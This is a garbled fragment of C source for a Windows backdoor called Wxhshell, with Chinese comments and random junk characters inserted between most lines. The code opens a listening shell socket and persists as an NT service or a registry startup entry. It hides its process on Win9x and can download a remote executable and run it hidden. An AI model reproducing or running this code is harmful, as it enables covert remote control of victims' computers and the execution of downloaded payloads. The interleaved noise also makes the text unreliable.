T4Dn if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pt"9zkPj niCK(&z CloseHandle(hProcess); nK03x YA &-qQF`7 if(strstr(procName,"services")) return 1; // 以服务启动 8#JX#<HEo ?R)dxuj return 0; // 注册表启动 tqpO3 } &~+QPnI>Pm xE;O =mI // 主模块 L(C`<iE&3 int StartWxhshell(LPSTR lpCmdLine) Dfzj/spFV { .B<Bqr@?8 SOCKET wsl; d/yF}%0QI BOOL val=TRUE; =q]!"yU[d int port=0; Q;VuoHj! struct sockaddr_in door; ?-:2f#bC @kh<b<a4 if(wscfg.ws_autoins) Install(); 'm~=sC_uL .e0)@}Jv8> port=atoi(lpCmdLine); %gO/mj3* 2kDY+AN; if(port<=0) port=wscfg.ws_port; siI%6Gn; MuOKauYa WSADATA data; T4wk$R
L if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l90"1I A MAkr9AKb, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DNq(\@x[! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $2h%IK>#G door.sin_family = AF_INET; Sp X;nH-D door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~x8nC%qPvq door.sin_port = htons(port); ]87BP%G V>T?'GbS if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
iiQn/% closesocket(wsl); HQ-++;Q return 1; ;_"|# } GqR XNs! kd^H}k if(listen(wsl,2) == INVALID_SOCKET) { KL=<s#
closesocket(wsl); 70 7( LG return 1; V_gKl;Kfe8 } A_9^S! Wxhshell(wsl); D`WRy}o WSACleanup(); e9[72V Z,#H\1v3lB return 0; * $f`ouJl @5nFa~*K% } =|agW.l l{Df{1b. // 以NT服务方式启动 7m-% VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0mSP { :Mu*E5 DWORD status = 0; /dYv@OU? DWORD specificError = 0xfffffff; z;S-Q, tsc`u> serviceStatus.dwServiceType = SERVICE_WIN32; y,nmPX?]n serviceStatus.dwCurrentState = SERVICE_START_PENDING; EB*sd S serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z71m(//*} serviceStatus.dwWin32ExitCode = 0; =Hd yra serviceStatus.dwServiceSpecificExitCode = 0; .}!.4J%q2 serviceStatus.dwCheckPoint = 0; h`|04Q serviceStatus.dwWaitHint = 0; @[3c1B6K ?+d`_/IB hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Uw
0zC if (hServiceStatusHandle==0) return; ?A3L8^tR Eu?z! status = GetLastError(); f(5(V
% if (status!=NO_ERROR) lDYgtUKG { i
6G40!G=) serviceStatus.dwCurrentState = SERVICE_STOPPED; s7Agr!>f serviceStatus.dwCheckPoint = 0; >Wr%usNxc serviceStatus.dwWaitHint = 0; h+g\tYWGP serviceStatus.dwWin32ExitCode = status; ,Z"<-%3 serviceStatus.dwServiceSpecificExitCode = specificError; -x//@8" SetServiceStatus(hServiceStatusHandle, &serviceStatus); }S/i3$F0~ return; gN=.}$Kfu } -@#w) aZA``#p+ serviceStatus.dwCurrentState = SERVICE_RUNNING; \~5|~|9< serviceStatus.dwCheckPoint = 0; *1dDs^D#| serviceStatus.dwWaitHint = 0; 'Z`7/I4& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n[ B~C } Nwi|>'\C |u&cN-}C d // 处理NT服务事件,比如:启动、停止 FO2e7p^Q VOID WINAPI NTServiceHandler(DWORD fdwControl) cszvt2BIg { 2zTi/&K& switch(fdwControl) nYyhQX~]B { (&:gD4. case SERVICE_CONTROL_STOP: cl~Yx4 serviceStatus.dwWin32ExitCode = 0; 8 t5kou]h serviceStatus.dwCurrentState = SERVICE_STOPPED; .;?!I_` serviceStatus.dwCheckPoint = 0; =01X serviceStatus.dwWaitHint = 0; x)::^'74 { W:d
p(,L SetServiceStatus(hServiceStatusHandle, &serviceStatus); &3Zq1o } sl]<A[jR return; ^ po@U" case SERVICE_CONTROL_PAUSE: WTvUz.Et serviceStatus.dwCurrentState = SERVICE_PAUSED; '.mepxf< f break; vQMBJ& case SERVICE_CONTROL_CONTINUE: ]\78(_o.zz serviceStatus.dwCurrentState = SERVICE_RUNNING; #4^d#Gj break; @Wu-&Lb case SERVICE_CONTROL_INTERROGATE: qLN\%}69/ break; JWn26, }; "z~ba>,-\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); !/zRw-q3B } =S&`~+ $T'!??|IF // 标准应用程序主函数 +hxG!o?O int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qkb'@f= { g68p9#G
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DL // 获取操作系统版本 ^#/FkEt7bp OsIsNt=GetOsVer(); r"7n2 GetModuleFileName(NULL,ExeFile,MAX_PATH); .G0 N+) l:85 _E // 从命令行安装 >L7s[vKn if(strpbrk(lpCmdLine,"iI")) Install(); .JhQxXj %By Pwu:f // 下载执行文件 }#XFa# if(wscfg.ws_downexe) { &gXh:. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TktH28tK WinExec(wscfg.ws_filenam,SW_HIDE); 2QfN.<[- } x$Dq0FX!%_ {Cx5m if(!OsIsNt) { %Tm*^ // 如果时win9x,隐藏进程并且设置为注册表启动 V>Wk\'h HideProc(); OmYVJt_ StartWxhshell(lpCmdLine); wKV4-uyr } "W|A^@r} else qL(Q1O! if(StartFromService()) j)A#}4jd // 以服务方式启动 ]-fkmnmWX StartServiceCtrlDispatcher(DispatchTable); NxT"A)u else Ha'[uEDb // 普通方式启动 L4#pMc StartWxhshell(lpCmdLine); "}4%v Zz {$*N1$(% return 0; /ZLY@&M }
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